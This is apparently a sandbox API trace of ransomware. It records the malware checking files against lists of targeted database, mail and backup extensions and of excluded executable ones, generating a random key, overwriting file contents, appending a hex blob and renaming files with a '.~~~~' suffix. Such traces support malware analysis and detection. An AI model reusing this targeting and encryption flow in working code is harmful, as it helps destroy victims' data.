	[0139.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".CKP") returned 0x0
	[0139.653] lstrlenW (lpString=".edb") returned 4
	[0139.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".edb") returned 0x0
	[0139.653] lstrlenW (lpString=".PST") returned 4
	[0139.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".PST") returned 0x0
	[0139.653] lstrlenW (lpString=".dbf") returned 4
	[0139.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".dbf") returned 0x0
	[0139.653] lstrlenW (lpString=".SQL") returned 4
	[0139.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".SQL") returned 0x0
	[0139.653] lstrlenW (lpString=".pst") returned 4
	[0139.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".pst") returned 0x0
	[0139.653] lstrlenW (lpString=".dbv") returned 4
	[0139.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".dbv") returned 0x0
	[0139.653] lstrlenW (lpString=".SDF") returned 4
	[0139.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".SDF") returned 0x0
	[0139.653] lstrlenW (lpString=".dtxs") returned 5
	[0139.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".dtxs") returned 0x0
	[0139.653] lstrlenW (lpString=".db3") returned 4
	[0139.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".db3") returned 0x0
	[0139.653] lstrlenW (lpString=".OST") returned 4
	[0139.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".OST") returned 0x0
	[0139.653] lstrlenW (lpString=".dbx") returned 4
	[0139.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".dbx") returned 0x0
	[0139.653] lstrlenW (lpString=".DB3") returned 4
	[0139.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".DB3") returned 0x0
	[0139.653] lstrlenW (lpString=".DAT") returned 4
	[0139.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".DAT") returned 0x0
	[0139.654] lstrlenW (lpString=".VHDX") returned 5
	[0139.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".VHDX") returned 0x0
	[0139.654] lstrlenW (lpString=".ndf") returned 4
	[0139.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".ndf") returned 0x0
	[0139.654] lstrlenW (lpString=".DB") returned 3
	[0139.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".DB") returned 0x0
	[0139.654] lstrlenW (lpString=".sql") returned 4
	[0139.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".sql") returned 0x0
	[0139.654] lstrlenW (lpString=".MYD") returned 4
	[0139.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".MYD") returned 0x0
	[0139.654] lstrlenW (lpString=".DBT") returned 4
	[0139.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".DBT") returned 0x0
	[0139.654] lstrlenW (lpString=".ACCDB") returned 6
	[0139.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".ACCDB") returned 0x0
	[0139.654] lstrlenW (lpString=".fdb") returned 4
	[0139.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".fdb") returned 0x0
	[0139.654] lstrlenW (lpString=".bak") returned 4
	[0139.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".bak") returned 0x0
	[0139.654] lstrlenW (lpString=".myd") returned 4
	[0139.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".myd") returned 0x0
	[0139.654] lstrlenW (lpString=".DTXS") returned 5
	[0139.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".DTXS") returned 0x0
	[0139.654] lstrlenW (lpString=".ckp") returned 4
	[0139.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".ckp") returned 0x0
	[0139.654] lstrlenW (lpString=".dbt") returned 4
	[0139.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".dbt") returned 0x0
	[0139.655] lstrlenW (lpString=".db") returned 3
	[0139.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".db") returned 0x0
	[0139.655] lstrlenW (lpString=".TXT") returned 4
	[0139.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".TXT") returned 0x0
	[0139.655] lstrlenW (lpString=".MDF") returned 4
	[0139.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".MDF") returned 0x0
	[0139.655] lstrlenW (lpString=".bdb") returned 4
	[0139.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".bdb") returned 0x0
	[0139.655] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0139.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0139.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0139.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0139.655] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0139.656] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0139.656] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0139.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0139.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0139.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0139.657] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25964677209) returned 1
	[0139.657] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbca75150, dwHighDateTime=0x1d60e1e)) 
	[0139.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0139.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0139.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0139.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825eb8
	[0139.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0139.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825eb8 | out: hHeap=0x300000) returned 1
	[0139.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0139.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0139.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x399908
	[0139.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0139.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0139.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399908 | out: hHeap=0x300000) returned 1
	[0139.658] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0139.658] GetLastError () returned 0x0
	[0139.658] GetLastError () returned 0x0
	[0139.658] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0139.658] GetLastError () returned 0x0
	[0139.658] GetLastError () returned 0x0
	[0139.658] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0139.783] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.783] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0139.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0139.785] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.785] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0139.785] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0139.785] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0139.785] CloseHandle (hObject=0x138) returned 1
	[0139.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x399668
	[0139.786] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme33.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme33.css.~~~~")) returned 1
	[0139.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399668 | out: hHeap=0x300000) returned 1
	[0139.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0139.788] GetLastError () returned 0x0
	[0139.789] RtlWakeConditionVariable () returned 0x0
	[0139.789] GetCurrentThreadId () returned 0x9cc
	[0139.789] GetCurrentThreadId () returned 0x9cc
	[0139.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cf1f0
	[0139.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3993c8 | out: hHeap=0x300000) returned 1
	[0139.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d8b8 | out: hHeap=0x300000) returned 1
	[0139.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3993c8
	[0139.789] lstrlenW (lpString=".scr") returned 4
	[0139.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".scr") returned 0x0
	[0139.789] lstrlenW (lpString=".cmd") returned 4
	[0139.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".cmd") returned 0x0
	[0139.789] lstrlenW (lpString=".dll") returned 4
	[0139.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".dll") returned 0x0
	[0139.789] lstrlenW (lpString=".bat") returned 4
	[0139.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".bat") returned 0x0
	[0139.789] lstrlenW (lpString=".cpl") returned 4
	[0139.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".cpl") returned 0x0
	[0139.790] lstrlenW (lpString=".sys") returned 4
	[0139.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".sys") returned 0x0
	[0139.790] lstrlenW (lpString=".msc") returned 4
	[0139.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".msc") returned 0x0
	[0139.790] lstrlenW (lpString=".com") returned 4
	[0139.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".com") returned 0x0
	[0139.790] lstrlenW (lpString=".lnk") returned 4
	[0139.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".lnk") returned 0x0
	[0139.790] lstrlenW (lpString=".msp") returned 4
	[0139.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".msp") returned 0x0
	[0139.790] lstrlenW (lpString=".pif") returned 4
	[0139.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".pif") returned 0x0
	[0139.790] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0139.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0139.790] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme39.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0139.793] lstrlenW (lpString=".sqb") returned 4
	[0139.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".sqb") returned 0x0
	[0139.793] lstrlenW (lpString=".ost") returned 4
	[0139.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".ost") returned 0x0
	[0139.793] lstrlenW (lpString=".txt") returned 4
	[0139.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".txt") returned 0x0
	[0139.793] lstrlenW (lpString=".mdt") returned 4
	[0139.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".mdt") returned 0x0
	[0139.793] lstrlenW (lpString=".BDB") returned 4
	[0139.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".BDB") returned 0x0
	[0139.793] lstrlenW (lpString=".eql") returned 4
	[0139.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".eql") returned 0x0
	[0139.793] lstrlenW (lpString=".DBF") returned 4
	[0139.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".DBF") returned 0x0
	[0139.793] lstrlenW (lpString=".EQL") returned 4
	[0139.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".EQL") returned 0x0
	[0139.793] lstrlenW (lpString=".FDB") returned 4
	[0139.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".FDB") returned 0x0
	[0139.793] lstrlenW (lpString=".EDB") returned 4
	[0139.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".EDB") returned 0x0
	[0139.794] lstrlenW (lpString=".DACPAC") returned 7
	[0139.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".DACPAC") returned 0x0
	[0139.794] lstrlenW (lpString=".VHD") returned 4
	[0139.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".VHD") returned 0x0
	[0139.794] lstrlenW (lpString=".DBV") returned 4
	[0139.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".DBV") returned 0x0
	[0139.794] lstrlenW (lpString=".dacpac") returned 7
	[0139.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".dacpac") returned 0x0
	[0139.794] lstrlenW (lpString=".sdf") returned 4
	[0139.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".sdf") returned 0x0
	[0139.794] lstrlenW (lpString=".accdb") returned 6
	[0139.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".accdb") returned 0x0
	[0139.794] lstrlenW (lpString=".DBX") returned 4
	[0139.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".DBX") returned 0x0
	[0139.794] lstrlenW (lpString=".MDT") returned 4
	[0139.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".MDT") returned 0x0
	[0139.794] lstrlenW (lpString=".SQB") returned 4
	[0139.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".SQB") returned 0x0
	[0139.794] lstrlenW (lpString=".vhd") returned 4
	[0139.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".vhd") returned 0x0
	[0139.794] lstrlenW (lpString=".bac") returned 4
	[0139.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".bac") returned 0x0
	[0139.794] lstrlenW (lpString=".mdf") returned 4
	[0139.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".mdf") returned 0x0
	[0139.794] lstrlenW (lpString=".BAK") returned 4
	[0139.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".BAK") returned 0x0
	[0139.794] lstrlenW (lpString=".BAC") returned 4
	[0139.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".BAC") returned 0x0
	[0139.795] lstrlenW (lpString=".dbs") returned 4
	[0139.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".dbs") returned 0x0
	[0139.795] lstrlenW (lpString=".vhdx") returned 5
	[0139.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".vhdx") returned 0x0
	[0139.795] lstrlenW (lpString=".NDF") returned 4
	[0139.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".NDF") returned 0x0
	[0139.795] lstrlenW (lpString=".dat") returned 4
	[0139.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".dat") returned 0x0
	[0139.795] lstrlenW (lpString=".DBS") returned 4
	[0139.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".DBS") returned 0x0
	[0139.795] lstrlenW (lpString=".CKP") returned 4
	[0139.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".CKP") returned 0x0
	[0139.795] lstrlenW (lpString=".edb") returned 4
	[0139.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".edb") returned 0x0
	[0139.795] lstrlenW (lpString=".PST") returned 4
	[0139.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".PST") returned 0x0
	[0139.795] lstrlenW (lpString=".dbf") returned 4
	[0139.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".dbf") returned 0x0
	[0139.795] lstrlenW (lpString=".SQL") returned 4
	[0139.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".SQL") returned 0x0
	[0139.796] lstrlenW (lpString=".pst") returned 4
	[0139.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".pst") returned 0x0
	[0139.796] lstrlenW (lpString=".dbv") returned 4
	[0139.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".dbv") returned 0x0
	[0139.796] lstrlenW (lpString=".SDF") returned 4
	[0139.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".SDF") returned 0x0
	[0139.796] lstrlenW (lpString=".dtxs") returned 5
	[0139.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".dtxs") returned 0x0
	[0139.796] lstrlenW (lpString=".db3") returned 4
	[0139.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".db3") returned 0x0
	[0139.796] lstrlenW (lpString=".OST") returned 4
	[0139.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".OST") returned 0x0
	[0139.796] lstrlenW (lpString=".dbx") returned 4
	[0139.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".dbx") returned 0x0
	[0139.796] lstrlenW (lpString=".DB3") returned 4
	[0139.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".DB3") returned 0x0
	[0139.796] lstrlenW (lpString=".DAT") returned 4
	[0139.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".DAT") returned 0x0
	[0139.796] lstrlenW (lpString=".VHDX") returned 5
	[0139.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".VHDX") returned 0x0
	[0139.797] lstrlenW (lpString=".ndf") returned 4
	[0139.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".ndf") returned 0x0
	[0139.797] lstrlenW (lpString=".DB") returned 3
	[0139.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".DB") returned 0x0
	[0139.797] lstrlenW (lpString=".sql") returned 4
	[0139.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS", lpSrch=".sql") returned 0x0
	[0139.797] lstrlenW (lpString=".MYD") returned 4
